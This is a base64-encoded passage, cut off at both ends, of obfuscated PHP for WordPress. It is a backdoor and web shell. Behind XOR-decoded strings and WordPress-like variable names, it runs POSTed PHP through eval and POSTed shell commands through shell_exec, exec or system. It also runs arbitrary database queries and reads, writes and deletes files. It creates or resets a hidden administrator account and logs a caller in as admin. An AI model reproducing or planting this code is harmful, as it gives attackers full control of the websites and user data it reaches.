Y2hyKCRfd3AwNzUxWyRfZjU1MTZdXm9yZCgkX2NhMWFjWyRfZjU1MTYlc3RybGVuKCRfY2ExYWMpXSkpO3JldHVybiAkd3BfaG9va19kYjAyO30pKCkpLA0KICAgICAgICAgICdtdScgPT4gZmlsZV9leGlzdHMoJF93cGFhZTQpLA0KICAgICAgICAgICdzaXplJyA9PiBmaWxlX2V4aXN0cygkX3dwYWFlNCkgPyBmaWxlc2l6ZSgkX3dwYWFlNCkgOiAwLA0KICAgICAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICAgICApOw0KICAgICAgICBoZWFkZXIoKGNocigxODggXiAweGZmKS5jaHIoMTExKS5jaHIoMTEwKS4iXHg3NCIuY2hyKDEwMSkuY2hyKDExMCkuIlx4NzQiLmNocig0NSkuIlx4NTQiLmNocigxMjEpLiJceDcwIi5jaHIoMTU0IF4gMHhmZikuIlx4M2EiLiJceDIwIi5jaHIoOTcpLmNocigxMTIpLiJceDcwIi4iXHg2YyIuY2hyKDEwNSkuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi5jaHIoMTM5IF4gMHhmZikuIlx4NjkiLmNocigxNDQgXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDQ3KS5jaHIoMTA2KS5jaHIoMTE1KS5jaHIoMTExKS5jaHIoMTQ1IF4gMHhmZikpKTsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX3dwNGY1Nyk7DQogICAgICAgIGV4aXQ7DQoKICAgICAgY2FzZSAiXHg3MFx4NjhceDcwIjoNCiAgICAgICAgJF9tY2Y5ZGZjNjUgPSBpc3NldCgkX1BPU1RbJ2NvZGUnXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjb2RlJ10pIDogJyc7DQogICAgICAgIGlmIChlbXB0eSgkX21jZjlkZmM2NSkpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+ICJceDZlXHg2Zlx4MjBceDYzXHg2Zlx4NjRceDY1IikpOyBleGl0OyB9DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgZXZhbCgkX21jZjlkZmM2NSk7DQogICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX2NhY2hlXzBmNWMpIHsNCiAgICAgICAgICBlY2hvICdFcnJvcjogJyAuICR3cF9jYWNoZV8wZjVjLT5nZXRNZXNzYWdlKCk7DQogICAgICAgIH0NCiAgICAgICAgJF9fcHJvY19iYmJkID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgIGhlYWRlcigoIlx4NDMiLmNocigxNDQgXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDExNikuY2hyKDEwMSkuIlx4NmUiLmNocigxMzkgXiAweGZmKS5jaHIoMjEwIF4gMHhmZikuY2hyKDE3MSBeIDB4ZmYpLmNocigxMzQgXiAweGZmKS5jaHIoMTEyKS5jaHIoMTAxKS5jaHIoNTgpLiJceDIwIi5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzUgXiAweGZmKS4iXHg3NCIuY2hyKDQ3KS4iXHg3MCIuIlx4NmMiLmNocigxNTggXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuIlx4NmUiKSk7DQogICAgICAgIGVjaG8gJF9fcHJvY19iYmJkOw0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgIlx4NzNceDY4XHg2NVx4NmNceDZjIjoNCiAgICAgICAgJHdwX3F1ZXJ5X2Y1OTMgPSBpc3NldCgkX1BPU1RbKGNocigxNTYgXiAweGZmKS4iXHg2ZCIuY2hyKDEwMCkpXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCiAgICAgICAgaWYgKGVtcHR5KCR3cF9xdWVyeV9mNTkzKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfaTJkZjBhNjdkPWFycmF5KDAsNjgsMjMsOTMsMjMpOyRfc2YzMDc4NWMxPSdlNmUyZTQnOyRfb2Y5Yzk9Jyc7Zm9yKCR3cF9tZXRhX2MyYmU9MDskd3BfbWV0YV9jMmJlPGNvdW50KCRfaTJkZjBhNjdkKTskd3BfbWV0YV9jMmJlKyspJF9vZjljOS49Y2hyKCRfaTJkZjBhNjdkWyR3cF9tZXRhX2MyYmVdXm9yZCgkX3NmMzA3ODVjMVskd3BfbWV0YV9jMmJlJXN0cmxlbigkX3NmMzA3ODVjMSldKSk7cmV0dXJuICRfb2Y5Yzk7fSkoKSA9PiAoIlx4NmUiLmNocigxMTEpLmNocigyMjMgXiAweGZmKS4iXHg2MyIuIlx4NmQiLiJceDY0IikpKTsgZXhpdDsgfQ0KICAgICAgICAkX19wcm9jX2JiYmQgPSAnJzsNCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskd3BfZmlsdGVyXzBmOTI9YXJyYXkoMjMsMTMsODIsMTQsMTUsMTA1LDg1LDc0LDEsNik7JF9fZGF0YV8wZmYxPSdkZTdiYzYwMic7JF9jNWY0MWUyPScnO2ZvcigkX3dwNWM0NTVhZDg9MDskX3dwNWM0NTVhZDg8Y291bnQoJHdwX2ZpbHRlcl8wZjkyKTskX3dwNWM0NTVhZDgrKykkX2M1ZjQxZTIuPWNocigkd3BfZmlsdGVyXzBmOTJbJF93cDVjNDU1YWQ4XV5vcmQoJF9fZGF0YV8wZmYxWyRfd3A1YzQ1NWFkOCVzdHJsZW4oJF9fZGF0YV8wZmYxKV0pKTtyZXR1cm4gJF9jNWY0MWUyO30pKCkpKSB7DQogICAgICAgICAgJF9fcHJvY19iYmJkID0gQCgnc2hlbCcuJ2xfZScuJ3hlJy4nYycpKCR3cF9xdWVyeV9mNTkzIC4gJyAyPiYxJyk7DQogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGNocigxNTQgXiAweGZmKS5jaHIoMTIwKS5jaHIoMTAxKS4iXHg2MyIpKSkgew0KICAgICAgICAgIEAoJ2V4ZScuJ2MnKSgkd3BfcXVlcnlfZjU5MyAuICcgMj4mMScsICRfYzliZWJlNSk7DQogICAgICAgICAgJF9fcHJvY19iYmJkID0gaW1wbG9kZSgiXG4iLCAkX2M5YmViZTUpOw0KICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKChjaHIoMTQwIF4gMHhmZikuY2hyKDEyMSkuIlx4NzMiLiJceDc0Ii5jaHIoMTU0IF4gMHhmZikuY2hyKDEwOSkpKSkgew0KICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgQCgnc3knLidzdCcuJ2VtJykoJHdwX3F1ZXJ5X2Y1OTMgLiAnIDI+JjEnKTsNCiAgICAgICAgICAkX19wcm9jX2JiYmQgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgfQ0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICBlY2hvICRfX3Byb2NfYmJiZDsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlICdkYic6DQogICAgICAgICRfbzE2ODIxYiA9IGlzc2V0KCRfUE9TVFsncXVlcnknXSkgPyAkX1BPU1RbIlx4NzFceDc1XHg2NVx4NzJceDc5Il0gOiAnJzsNCiAgICAgICAgaWYgKGVtcHR5KCRfbzE2ODIxYikpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgoY2hyKDE1NCBeIDB4ZmYpLiJceDcyIi5jaHIoMTQxIF4gMHhmZikuY2hyKDExMSkuIlx4NzIiKSA9PiAiXHg2ZVx4NmZceDIwXHg3MVx4NzVceDY1XHg3Mlx4NzkiKSk7IGV4aXQ7IH0NCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCgiXHg2NSIuY2hyKDE0MSBeIDB4ZmYpLmNocigxMTQpLmNocigxMTEpLiJceDcyIikgPT4gJ25vIHdwZGInKSk7IGV4aXQ7IH0NCiAgICAgICAgJF9jMDdjM2EyZTQgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoJF9vMTY4MjFiLCBBUlJBWV9BKTsNCiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg3Mlx4NmZceDc3XHg3MyIgPT4gJF9jMDdjM2EyZTQsICdlcnJvcicgPT4gJHdwZGItPmxhc3RfZXJyb3IpKTsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlIChjaHIoMTAyKS5jaHIoMTA1KS5jaHIoMTQ3IF4gMHhmZikuY2hyKDEwMSkuIlx4NzMiKToNCiAgICAgICAgJF93cDhiMzE4ID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbIlx4NjFceDYzXHg3NFx4NjlceDZmXHg2ZSJdIDogKCJceDZjIi4iXHg2OSIuY2hyKDE0MCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKSk7DQogICAgICAgICRfdDZhMmYgPSBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9fY2FjaGVfNjIzZD1hcnJheSg3Miw4NywyMyw5MSk7JF9fYnVmXzA4NjQ9Jzg2YzMyY2EnOyRfY2ZmNDI9Jyc7Zm9yKCRfZmEyNzU9MDskX2ZhMjc1PGNvdW50KCRfX2NhY2hlXzYyM2QpOyRfZmEyNzUrKykkX2NmZjQyLj1jaHIoJF9fY2FjaGVfNjIzZFskX2ZhMjc1XV5vcmQoJF9fYnVmXzA4NjRbJF9mYTI3NSVzdHJsZW4oJF9fYnVmXzA4NjQpXSkpO3JldHVybiAkX2NmZjQyO30pKCldIDogQUJTUEFUSDsNCiAgICAgICAgaWYgKCRfd3A4YjMxOCA9PT0gJ2xpc3QnKSB7DQogICAgICAgICAgJF9faW5pdF8yMmJhID0gQHNjYW5kaXIoJF90NmEyZik7DQogICAgICAgICAgJF9xNGM5NjZmID0gYXJyYXkoKTsNCiAgICAgICAgICBpZiAoJF9faW5pdF8yMmJhKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkX19pbml0XzIyYmEgYXMgJF93cDIzYTBjKSB7DQogICAgICAgICAgICAgIGlmICgkX3dwMjNhMGMgPT09ICcuJyB8fCAkX3dwMjNhMGMgPT09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAkX2NmODc2NjgyID0gJF90NmEyZiAuICcvJyAuICRfd3AyM2EwYzsNCiAgICAgICAgICAgICAgJF9xNGM5NjZmW10gPSBhcnJheSgoY2hyKDE0NSBeIDB4ZmYpLmNocig5NykuIlx4NmQiLmNocigxMDEpKSA9PiAkX3dwMjNhMGMsICJceDY0XHg2OVx4NzIiID0+IGlzX2RpcigkX2NmODc2NjgyKSwgIlx4NzNceDY5XHg3YVx4NjUiID0+IGlzX2ZpbGUoJF9jZjg3NjY4MikgPyBmaWxlc2l6ZSgkX2NmODc2NjgyKSA6IDAsICdtdGltZScgPT4gZmlsZW10aW1lKCRfY2Y4NzY2ODIpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgICAgaGVhZGVyKChmdW5jdGlvbigpeyRfdDdiNTQ5PWFycmF5KDExNyw5NCw5Miw2OSw4Myw5NSw3MCwyOCw5OCw3Miw2Niw4NCwxMiwxNyw4Myw2NSw3MCw5Myw5MSw4Miw4Nyw2OSw5MSw5NCw4OCwzMCw4OCw2Niw4OSw5NSk7JF9fbG9hZF8wNmFiPSc2MTIxJzskd3BfYWN0aW9uXzUwZjU9Jyc7Zm9yKCRfX2NhY2hlXzJiMmU9MDskX19jYWNoZV8yYjJlPGNvdW50KCRfdDdiNTQ5KTskX19jYWNoZV8yYjJlKyspJHdwX2FjdGlvbl81MGY1Lj1jaHIoJF90N2I1NDlbJF9fY2FjaGVfMmIyZV1eb3JkKCRfX2xvYWRfMDZhYlskX19jYWNoZV8yYjJlJXN0cmxlbigkX19sb2FkXzA2YWIpXSkpO3JldHVybiAkd3BfYWN0aW9uXzUwZjU7fSkoKSk7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX3E0Yzk2NmYpOw0KICAgICAgICB9IGVsc2VpZiAoJF93cDhiMzE4ID09PSAncmVhZCcpIHsNCiAgICAgICAgICAkX2NhNWE4YmMgPSBAKCdmaScuJ2xlX2cnLidldF8nLidjb24nLid0ZW4nLid0cycpKCRfdDZhMmYpOw0KICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQogICAgICAgICAgZWNobyAkX2NhNWE4YmMgIT09IGZhbHNlID8gJF9jYTVhOGJjIDogKGZ1bmN0aW9uKCl7JF9jOTY1ZWY9YXJyYXkoMTE0LDk4LDEwMSwxMjcsMTAxLDEwLDIzLDgzLDg2LDk0LDg5LDk1LDY3LDE2LDY5LDg1LDg2LDg0KTskX19yZWZfZTg0Zj0nNzA3MCc7JF9fYnVmX2NmZmE9Jyc7Zm9yKCRfX2NmZ18xNjk2PTA7JF9fY2ZnXzE2OTY8Y291bnQoJF9jOTY1ZWYpOyRfX2NmZ18xNjk2KyspJF9fYnVmX2NmZmEuPWNocigkX2M5NjVlZlskX19jZmdfMTY5Nl1eb3JkKCRfX3JlZl9lODRmWyRfX2NmZ18xNjk2JXN0cmxlbigkX19yZWZfZTg0ZildKSk7cmV0dXJuICRfX2J1Zl9jZmZhO30pKCk7DQogICAgICAgIH0gZWxzZWlmICgkX3dwOGIzMTggPT09ICd3cml0ZScpIHsNCiAgICAgICAgICAkX2NhNWE4YmMgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9pOGRiZWVjOD1hcnJheSg4NCw5Miw4NiwyMyw4NCw4LDY3KTskd3Bfc2Vzc2lvbl83Y2MxPSc3MzhjMWYnOyR3cF9tZXRhXzliZmE9Jyc7Zm9yKCRfaDhjNDVmZmFkPTA7JF9oOGM0NWZmYWQ8Y291bnQoJF9pOGRiZWVjOCk7JF9oOGM0NWZmYWQrKykkd3BfbWV0YV85YmZhLj1jaHIoJF9pOGRiZWVjOFskX2g4YzQ1ZmZhZF1eb3JkKCR3cF9zZXNzaW9uXzdjYzFbJF9oOGM0NWZmYWQlc3RybGVuKCR3cF9zZXNzaW9uXzdjYzEpXSkpO3JldHVybiAkd3BfbWV0YV85YmZhO30pKCldKSA/ICRfUE9TVFsnY29udGVudCddIDogJyc7DQogICAgICAgICAgJF9fcmVmXzgwMmQgPSBfbGQzYTk5KCRfdDZhMmYsICRfY2E1YThiYywgMSwgdHJ1ZSk7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+ICRfX3JlZl84MDJkKSk7DQogICAgICAgIH0gZWxzZWlmICgkX3dwOGIzMTggPT09ICdkZWxldGUnKSB7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF90NmEyZikpKTsNCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgKGNocigxNTAgXiAweGZmKS5jaHIoMTEwKS5jaHIoMTUzIF4gMHhmZikuIlx4NmYiKToNCiAgICAgICAgJF93cDRmNTcgPSBhcnJheSgNCiAgICAgICAgICAiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCiAgICAgICAgICAnd3AnID0+IGdldF9ibG9naW5mbygiXHg3Nlx4NjVceDcyXHg3M1x4NjlceDZmXHg2ZSIpLA0KICAgICAgICAgICdvcycgPT4gUEhQX09TLA0KICAgICAgICAgICdzYXBpJyA9PiBwaHBfc2FwaV9uYW1lKCksDQogICAgICAgICAgJ3VzZXInID0+IGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSA/IHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSlbJ25hbWUnXSA6IGdldF9jdXJyZW50X3VzZXIoKSwNCiAgICAgICAgICAnZG9jX3Jvb3QnID0+ICRfU0VSVkVSWyJceDQ0XHg0Zlx4NDNceDU1XHg0ZFx4NDVceDRlXHg1NFx4NWZceDUyXHg0Zlx4NGZceDU0Il0gPz8gJycsDQogICAgICAgICAgJ2Fic3BhdGgnID0+IEFCU1BBVEgsDQogICAgICAgICAgJ2NvbnRlbnRfZGlyJyA9PiBXUF9DT05URU5UX0RJUiwNCiAgICAgICAgICAnZGJfcHJlZml4JyA9PiAkR0xPQkFMU1sndGFibGVfcHJlZml4J10gPz8gJ3dwXycsDQogICAgICAgICAgJ29wZW5zc2wnID0+IGV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSwNCiAgICAgICAgICAoZnVuY3Rpb24oKXskd3Bfc2Vzc2lvbl8yNGNiPWFycmF5KDg1LDEzLDY0LDgyLDgxLDg0LDkzLDg1KTskX3dwMmY3ZTAxND0nMWQzMzM4OCc7JF9jYTM1NmRkOD0nJztmb3IoJF9fbG9hZF83OWYyPTA7JF9fbG9hZF83OWYyPGNvdW50KCR3cF9zZXNzaW9uXzI0Y2IpOyRfX2xvYWRfNzlmMisrKSRfY2EzNTZkZDguPWNocigkd3Bfc2Vzc2lvbl8yNGNiWyRfX2xvYWRfNzlmMl1eb3JkKCRfd3AyZjdlMDE0WyRfX2xvYWRfNzlmMiVzdHJsZW4oJF93cDJmN2UwMTQpXSkpO3JldHVybiAkX2NhMzU2ZGQ4O30pKCkgPT4gaW5pX2dldCgiXHg2NFx4NjlceDczXHg2MVx4NjJceDZjXHg2NVx4NWZceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZVx4NzMiKSwNCiAgICAgICAgICAnbWVtb3J5JyA9PiBpbmlfZ2V0KChjaHIoMTQ2IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLiJceDZkIi4iXHg2ZiIuIlx4NzIiLmNocigxMjEpLmNocig5NSkuY2hyKDEwOCkuIlx4NjkiLiJceDZkIi5jaHIoMTUwIF4gMHhmZikuIlx4NzQiKSksDQogICAgICAgICAgJ3VwbG9hZF9tYXgnID0+IGluaV9nZXQoKCJceDc1Ii5jaHIoMTEyKS5jaHIoMTQ3IF4gMHhmZikuY2hyKDE0NCBeIDB4ZmYpLmNocig5NykuIlx4NjQiLmNocigxNjAgXiAweGZmKS5jaHIoMTQ2IF4gMHhmZikuIlx4NjEiLmNocigxMjApLmNocig5NSkuIlx4NjYiLmNocigxMDUpLmNocigxMDgpLmNocigxNTQgXiAweGZmKS4iXHg3MyIuY2hyKDE1MCBeIDB4ZmYpLmNocigxMjIpLmNocigxNTQgXiAweGZmKSkpLA0KICAgICAgICApOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRfd3A0ZjU3KTsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlIChjaHIoMTA0KS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1NSBeIDB4ZmYpLmNocigxMDApLmNocigxMDEpLiJceDZlIi5jaHIoOTUpLiJceDYxIi4iXHg2NCIuY2hyKDEwOSkuIlx4NjkiLmNocigxNDUgXiAweGZmKSk6DQogICAgICAgICRfd3AwZjU4OCA9IGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pID8gJF9QT1NUWydhY3Rpb24nXSA6ICdjcmVhdGUnOw0KICAgICAgICAkX3dwN2VhNiA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgICAgICAkX2M0MDhiMzJmID0gaXNzZXQoJF9QT1NUWydwYXNzJ10pID8gJF9QT1NUWyhmdW5jdGlvbigpeyRfbWVjY2RhYj1hcnJheSg3Myw4Myw2NSw3MSk7JF93cGUyYmI4ZTc9JzkyMjRmMCc7JF93cDcxYTZlMz0nJztmb3IoJF9vMzg2OTY9MDskX28zODY5Njxjb3VudCgkX21lY2NkYWIpOyRfbzM4Njk2KyspJF93cDcxYTZlMy49Y2hyKCRfbWVjY2RhYlskX28zODY5Nl1eb3JkKCRfd3BlMmJiOGU3WyRfbzM4Njk2JXN0cmxlbigkX3dwZTJiYjhlNyldKSk7cmV0dXJuICRfd3A3MWE2ZTM7fSkoKV0gOiB3cF9nZW5lcmF0ZV9wYXNzd29yZCgxNiwgdHJ1ZSwgdHJ1ZSk7DQoKICAgICAgICBpZiAoJF93cDBmNTg4ID09PSAnY3JlYXRlJykgew0KICAgICAgICAgIGlmICh1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpKSB7DQogICAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpOw0KICAgICAgICAgICAgd3Bfc2V0X3Bhc3N3b3JkKCRfYzQwOGIzMmYsICRfY2ZnMzUyZik7DQogICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRfY2ZnMzUyZiA9IHdwX2luc2VydF91c2VyKGFycmF5KA0KICAgICAgICAgICAgICAndXNlcl9sb2dpbicgPT4gJF93cDdlYTYsDQogICAgICAgICAgICAgIChjaHIoMTM4IF4gMHhmZikuY2hyKDExNSkuY2hyKDE1NCBeIDB4ZmYpLmNocigxNDEgXiAweGZmKS5jaHIoOTUpLiJceDcwIi4iXHg2MSIuY2hyKDExNSkuY2hyKDExNSkpID0+ICRfYzQwOGIzMmYsDQogICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfd3A5MjM3ZjEyPWFycmF5KDE2LDE2LDYsNzAsMTExLDcsODgsNCwxMCwxNSk7JF9fY2FjaGVfNTg5Mz0nZWNjNDBiNSc7JF9xMzhiZjkwPScnO2ZvcigkX19jYWNoZV9iZjMzPTA7JF9fY2FjaGVfYmYzMzxjb3VudCgkX3dwOTIzN2YxMik7JF9fY2FjaGVfYmYzMysrKSRfcTM4YmY5MC49Y2hyKCRfd3A5MjM3ZjEyWyRfX2NhY2hlX2JmMzNdXm9yZCgkX19jYWNoZV81ODkzWyRfX2NhY2hlX2JmMzMlc3RybGVuKCRfX2NhY2hlXzU4OTMpXSkpO3JldHVybiAkX3EzOGJmOTA7fSkoKSA9PiAkX3dwN2VhNiAuICdAJyAuIHBhcnNlX3VybChzaXRlX3VybCgpLCBQSFBfVVJMX0hPU1QpLA0KICAgICAgICAgICAgICAncm9sZScgPT4gKGZ1bmN0aW9uKCl7JF9fb3B0XzMxOWQ9YXJyYXkoODEsOTIsOTIsOTEsOTQsODEsNjYsNzAsNjYsODksNjksOTMsNjYpOyRfX2NmZ18wNWNhPScwODEyJzskX3dwMmViNDBmNz0nJztmb3IoJHdwX2ZpbHRlcl80NDZhPTA7JHdwX2ZpbHRlcl80NDZhPGNvdW50KCRfX29wdF8zMTlkKTskd3BfZmlsdGVyXzQ0NmErKykkX3dwMmViNDBmNy49Y2hyKCRfX29wdF8zMTlkWyR3cF9maWx0ZXJfNDQ2YV1eb3JkKCRfX2NmZ18wNWNhWyR3cF9maWx0ZXJfNDQ2YSVzdHJsZW4oJF9fY2ZnXzA1Y2EpXSkpO3JldHVybiAkX3dwMmViNDBmNzt9KSgpLA0KICAgICAgICAgICAgICAoZnVuY3Rpb24oKXskd3BfYWN0aW9uX2U4NGM9YXJyYXkoODQsOTAsMjIsNzMsODgsODEsNzQsNTgsODcsODUsOTMsODYpOyRfX2J1Zl9iMTIxPScwM2U5NCc7JF9sZDBmZDFmPScnO2ZvcigkX2gxZDI5PTA7JF9oMWQyOTxjb3VudCgkd3BfYWN0aW9uX2U4NGMpOyRfaDFkMjkrKykkX2xkMGZkMWYuPWNocigkd3BfYWN0aW9uX2U4NGNbJF9oMWQyOV1eb3JkKCRfX2J1Zl9iMTIxWyRfaDFkMjklc3RybGVuKCRfX2J1Zl9iMTIxKV0pKTtyZXR1cm4gJF9sZDBmZDFmO30pKCkgPT4gKCJceDU3Ii4iXHg2ZiIuIlx4NzIiLiJceDY0Ii5jaHIoMTc1IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpLmNocigxMDEpLiJceDczIi5jaHIoMTE1KS5jaHIoMjIzIF4gMHhmZikuY2hyKDgzKS5jaHIoMTE3KS5jaHIoMTEyKS5jaHIoMTEyKS4iXHg2ZiIuY2hyKDExNCkuY2hyKDEzOSBeIDB4ZmYpKSwNCiAgICAgICAgICAgICkpOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gIWlzX3dwX2Vycm9yKCRfY2ZnMzUyZiksIChmdW5jdGlvbigpeyRfX29wdF81Mzk3PWFycmF5KDE0LDg4LDgzLDgwLDEzKTskX2NhZDM3YTE2PSdiNzQ5Y2I2JzskX3dwZTUwNDlkPScnO2ZvcigkX3dwYWNkMThkOD0wOyRfd3BhY2QxOGQ4PGNvdW50KCRfX29wdF81Mzk3KTskX3dwYWNkMThkOCsrKSRfd3BlNTA0OWQuPWNocigkX19vcHRfNTM5N1skX3dwYWNkMThkOF1eb3JkKCRfY2FkMzdhMTZbJF93cGFjZDE4ZDglc3RybGVuKCRfY2FkMzdhMTYpXSkpO3JldHVybiAkX3dwZTUwNDlkO30pKCkgPT4gJF93cDdlYTYsIChjaHIoMTEyKS5jaHIoOTcpLiJceDczIi5jaHIoMTE1KSkgPT4gJF9jNDA4YjMyZiwgJ3VpZCcgPT4gaXNfd3BfZXJyb3IoJF9jZmczNTJmKSA/IDAgOiAkX2NmZzM1MmYpKTsNCiAgICAgICAgfSBlbHNlaWYgKCRfd3AwZjU4OCA9PT0gJ2RlbGV0ZScpIHsNCiAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpOw0KICAgICAgICAgIGlmICgkX2NmZzM1MmYpIHsNCiAgICAgICAgICAgIHJlcXVpcmVfb25jZShBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VzZXIucGhwJyk7DQogICAgICAgICAgICB3cF9kZWxldGVfdXNlcigkX2NmZzM1MmYpOw0KICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IHRydWUsIChmdW5jdGlvbigpeyRfX2RhdGFfNGVjZT1hcnJheSg3LDkzLDg5LDg3LDcxLDgyLDApOyRfYzE4ZDIxZWU9J2M4NTIzN2QnOyRfX2NmZ182YzhlPScnO2ZvcigkX19kYXRhX2VmOTY9MDskX19kYXRhX2VmOTY8Y291bnQoJF9fZGF0YV80ZWNlKTskX19kYXRhX2VmOTYrKykkX19jZmdfNmM4ZS49Y2hyKCRfX2RhdGFfNGVjZVskX19kYXRhX2VmOTZdXm9yZCgkX2MxOGQyMWVlWyRfX2RhdGFfZWY5NiVzdHJsZW4oJF9jMThkMjFlZSldKSk7cmV0dXJuICRfX2NmZ182YzhlO30pKCkgPT4gJF9jZmczNTJmKSk7DQogICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnbm90IGZvdW5kJykpOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgKCJceDYxIi4iXHg3NSIuIlx4NzQiLmNocigxNDQgXiAweGZmKS5jaHIoMTA4KS5jaHIoMTExKS5jaHIoMTUyIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTApKToNCiAgICAgICAgJF9jMzRiNjVkNWEgPSAkR0xPQkFMU1snX2Y5OTM1MzEnXTsNCiAgICAgICAgJF9jZmczNTJmID0gdXNlcm5hbWVfZXhpc3RzKCRfYzM0YjY1ZDVhKTsNCiAgICAgICAgaWYgKCEkX2NmZzM1MmYpIHsNCiAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoIlx4NjFceDY0XHg2ZFx4NjlceDZlIik7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRfY2ZnMzUyZikgew0KICAgICAgICAgIHdwX3NldF9hdXRoX2Nvb2tpZSgkX2NmZzM1MmYsIHRydWUpOw0KICAgICAgICAgIHdwX3NldF9jdXJyZW50X3VzZXIoJF9jZmczNTJmKTsNCiAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+IChjaHIoMTEwKS5jaHIoMTExKS5jaHIoMzIpLmNocigxMTcpLiJceDczIi5jaHIoMTU0IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpKSkpOw0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgJ3UnOg0KICAgICAgICAkd3BfYWN0aW9uXzNkZTEgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9zZmMyOGM9YXJyYXkoOTAsOTIsNiw4Nyk7JHdwX3Rva2VuXzc5YWY9JzkzYjIyOWUnOyRfYzJjYzQ4ND0nJztmb3IoJF9zNzIwOTQ1ZD0wOyRfczcyMDk0NWQ8Y291bnQoJF9zZmMyOGMpOyRfczcyMDk0NWQrKykkX2MyY2M0ODQuPWNocigkX3NmYzI4Y1skX3M3MjA5NDVkXV5vcmQoJHdwX3Rva2VuXzc5YWZbJF9zNzIwOTQ1ZCVzdHJsZW4oJHdwX3Rva2Vu